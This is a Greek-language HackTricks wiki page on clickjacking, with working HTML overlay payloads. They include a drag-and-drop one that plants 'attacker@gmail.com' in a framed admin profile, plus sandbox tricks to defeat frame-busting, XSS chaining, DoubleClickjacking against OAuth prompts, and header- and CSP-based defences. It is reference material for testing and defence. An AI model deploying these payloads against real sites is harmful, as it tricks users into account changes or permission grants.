Clickjacking
Reading time: 9 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι το Clickjacking
Σε μια επίθεση clickjacking, ένας χρήστης παραπλανάται να κλικάρει σε ένα στοιχείο μιας ιστοσελίδας που είναι είτε αόρατο είτε μεταμφιεσμένο ως διαφορετικό στοιχείο. Αυτή η χειραγώγηση μπορεί να οδηγήσει σε απρόβλεπτες συνέπειες για τον χρήστη, όπως η λήψη κακόβουλου λογισμικού, η ανακατεύθυνση σε κακόβουλες ιστοσελίδες, η παροχή διαπιστευτηρίων ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή η διαδικτυακή αγορά προϊόντων.
Τέχνασμα προεγκατάστασης φορμών
Μερικές φορές είναι δυνατόν να συμπληρώσετε την τιμή πεδίων μιας φόρμας χρησιμοποιώντας παραμέτρους GET κατά τη φόρτωση μιας σελίδας. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή τη συμπεριφορά για να συμπληρώσει μια φόρμα με αυθαίρετα δεδομένα και να στείλει το payload clickjacking ώστε ο χρήστης να πατήσει το κουμπί Υποβολή.
Συμπλήρωση φόρμας με Drag&Drop
Αν χρειάζεστε τον χρήστη να συμπληρώσει μια φόρμα αλλά δεν θέλετε να του ζητήσετε άμεσα να γράψει κάποιες συγκεκριμένες πληροφορίες (όπως το email και ή συγκεκριμένο κωδικό που γνωρίζετε), μπορείτε απλά να του ζητήσετε να Drag&Drop κάτι που θα γράψει τα ελεγχόμενα δεδομένα σας όπως σε αυτό το παράδειγμα.
Βασικό Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Πολυβήματη Φορτωτική
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Αν έχετε εντοπίσει μια επίθεση XSS που απαιτεί από τον χρήστη να κάνει κλικ σε κάποιο στοιχείο για να ενεργοποιήσει το XSS και η σελίδα είναι ευάλωτη σε clickjacking, μπορείτε να το εκμεταλλευτείτε για να παραπλανήσετε τον χρήστη να κάνει κλικ στο κουμπί/σύνδεσμο.
Παράδειγμα:
Βρήκατε μια self XSS σε κάποιες ιδιωτικές λεπτομέρειες του λογαριασμού (λεπτομέρειες που μόνο εσείς μπορείτε να ορίσετε και να διαβάσετε). Η σελίδα με τη φόρμα για να ορίσετε αυτές τις λεπτομέρειες είναι ευάλωτη σε Clickjacking και μπορείτε να προκαταλάβετε τη φόρμα με τις παραμέτρους GET.
Ένας επιτιθέμενος θα μπορούσε να προετοιμάσει μια επίθεση Clickjacking σε αυτή τη σελίδα προκαταβάλλοντας τη φόρμα με το XSS payload και παραπλανώντας τον χρήστη να υποβάλει τη φόρμα. Έτσι, όταν η φόρμα υποβληθεί και οι τιμές τροποποιηθούν, ο χρήστης θα εκτελέσει το XSS.
DoubleClickjacking
Αρχικά εξηγήθηκε σε αυτή την ανάρτηση, αυτή η τεχνική θα ζητούσε από το θύμα να κάνει διπλό κλικ σε ένα κουμπί μιας προσαρμοσμένης σελίδας τοποθετημένης σε συγκεκριμένη θέση, και να χρησιμοποιήσει τις χρονικές διαφορές μεταξύ των γεγονότων mousedown και onclick για να φορτώσει τη σελίδα του θύματος κατά τη διάρκεια του διπλού κλικ, έτσι ώστε το θύμα να κάνει στην πραγματικότητα κλικ σε ένα νόμιμο κουμπί στη σελίδα του θύματος.
Ένα παράδειγμα μπορεί να δει κανείς σε αυτό το βίντεο: https://www.youtube.com/watch?v=4rGvRRMrD18
Ένα παράδειγμα κώδικα μπορεί να βρεθεί σε αυτή τη σελίδα.
warning
Αυτή η τεχνική επιτρέπει να παραπλανηθεί ο χρήστης να κάνει κλικ σε 1 σημείο στη σελίδα του θύματος παρακάμπτοντας κάθε προστασία κατά του clickjacking. Έτσι, ο επιτιθέμενος πρέπει να βρει ευαίσθητες ενέργειες που μπορούν να γίνουν με μόνο 1 κλικ, όπως τα prompts OAuth που αποδέχονται άδειες.
Strategies to Mitigate Clickjacking
Client-Side Defenses
Τα σενάρια που εκτελούνται στην πλευρά του πελάτη μπορούν να εκτελούν ενέργειες για να αποτρέψουν το Clickjacking:
- Διασφάλιση ότι το παράθυρο της εφαρμογής είναι το κύριο ή το πάνω παράθυρο.
- Κάνοντάς τα όλα τα πλαίσια ορατά.
- Αποτρέποντας τα κλικ σε αόρατα πλαίσια.
- Ανίχνευση και ειδοποίηση χρηστών για πιθανές απόπειρες Clickjacking.
Ωστόσο, αυτά τα σενάρια καταστροφής πλαισίων μπορεί να παρακαμφθούν:
- Ρυθμίσεις Ασφαλείας Περιηγητών: Ορισμένοι περιηγητές μπορεί να αποκλείσουν αυτά τα σενάρια με βάση τις ρυθμίσεις ασφαλείας τους ή την έλλειψη υποστήριξης JavaScript.
- HTML5 iframe
sandbox
Attribute: Ένας επιτιθέμενος μπορεί να εξουδετερώσει τα σενάρια καταστροφής πλαισίων ορίζοντας τοsandbox
attribute με τιμέςallow-forms
ήallow-scripts
χωρίςallow-top-navigation
. Αυτό αποτρέπει το iframe από το να επαληθεύσει αν είναι το πάνω παράθυρο, π.χ.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
The allow-forms
και allow-scripts
τιμές επιτρέπουν ενέργειες μέσα στο iframe ενώ απενεργοποιούν την πλοήγηση σε ανώτερο επίπεδο. Για να διασφαλιστεί η επιθυμητή λειτουργικότητα της στοχευμένης ιστοσελίδας, μπορεί να είναι απαραίτητες επιπλέον άδειες όπως allow-same-origin
και allow-modals
, ανάλογα με τον τύπο της επίθεσης. Τα μηνύματα κονσόλας του προγράμματος περιήγησης μπορούν να καθοδηγήσουν ποιες άδειες να επιτραπούν.
Άμυνες Από Διακομιστή
X-Frame-Options
Η X-Frame-Options
HTTP response header ενημερώνει τους προγράμματα περιήγησης σχετικά με τη νομιμότητα της απόδοσης μιας σελίδας σε ένα <frame>
ή <iframe>
, βοηθώντας στην πρόληψη του Clickjacking:
X-Frame-Options: deny
- Κανένα domain δεν μπορεί να πλαισιώσει το περιεχόμενο.X-Frame-Options: sameorigin
- Μόνο η τρέχουσα ιστοσελίδα μπορεί να πλαισιώσει το περιεχόμενο.X-Frame-Options: allow-from https://trusted.com
- Μόνο η καθορισμένη 'uri' μπορεί να πλαισιώσει τη σελίδα.- Σημειώστε τους περιορισμούς: αν ο περιηγητής δεν υποστηρίζει αυτή τη οδηγία, μπορεί να μην λειτουργήσει. Ορισμένοι περιηγητές προτιμούν την οδηγία CSP frame-ancestors.
Οδηγία frame-ancestors της Πολιτικής Ασφαλείας Περιεχομένου (CSP)
Η frame-ancestors
οδηγία στην CSP είναι η προτεινόμενη μέθοδος για την προστασία από Clickjacking:
frame-ancestors 'none'
- Παρόμοιο μεX-Frame-Options: deny
.frame-ancestors 'self'
- Παρόμοιο μεX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Παρόμοιο μεX-Frame-Options: allow-from
.
Για παράδειγμα, η παρακάτω CSP επιτρέπει μόνο την πλαισίωση από το ίδιο domain:
Content-Security-Policy: frame-ancestors 'self';
Περισσότερες λεπτομέρειες και σύνθετα παραδείγματα μπορούν να βρεθούν στην τεκμηρίωση frame-ancestors CSP και στην τεκμηρίωση frame-ancestors της Mozilla.
Πολιτική Ασφαλείας Περιεχομένου (CSP) με child-src
και frame-src
Η Πολιτική Ασφαλείας Περιεχομένου (CSP) είναι ένα μέτρο ασφαλείας που βοηθά στην πρόληψη του Clickjacking και άλλων επιθέσεων εισαγωγής κώδικα καθορίζοντας ποιες πηγές πρέπει να επιτρέψει ο περιηγητής να φορτώσουν περιεχόμενο.
Οδηγία frame-src
- Ορίζει έγκυρες πηγές για frames.
- Πιο συγκεκριμένη από την οδηγία
default-src
.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Αυτή η πολιτική επιτρέπει πλαίσια από την ίδια προέλευση (self) και https://trusted-website.com.
child-src
Directive
- Εισήχθη στο επίπεδο 2 του CSP για να ορίσει έγκυρες πηγές για web workers και πλαίσια.
- Λειτουργεί ως εναλλακτική για το frame-src και το worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Αυτή η πολιτική επιτρέπει πλαίσια και εργαζόμενους από την ίδια προέλευση (self) και https://trusted-website.com.
Σημειώσεις Χρήσης:
- Απαξίωση: το child-src καταργείται υπέρ του frame-src και worker-src.
- Συμπεριφορά Εναλλακτικής: Εάν το frame-src απουσιάζει, το child-src χρησιμοποιείται ως εναλλακτική για τα πλαίσια. Εάν και τα δύο απουσιάζουν, χρησιμοποιείται το default-src.
- Αυστηρός Ορισμός Πηγής: Συμπεριλάβετε μόνο αξιόπιστες πηγές στις οδηγίες για να αποτρέψετε την εκμετάλλευση.
Σενάρια JavaScript για Σπάσιμο Πλαισίων
Αν και δεν είναι εντελώς αδιάβλητα, τα σενάρια βασισμένα σε JavaScript για σπάσιμο πλαισίων μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να πλαισιωθεί. Παράδειγμα:
if (top !== self) {
top.location = self.location
}
Χρήση Αντι-CSRF Tokens
- Επικύρωση Token: Χρησιμοποιήστε αντι-CSRF tokens σε διαδικτυακές εφαρμογές για να διασφαλίσετε ότι οι αιτήσεις που αλλάζουν κατάσταση γίνονται σκόπιμα από τον χρήστη και όχι μέσω μιας Clickjacked σελίδας.
Αναφορές
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.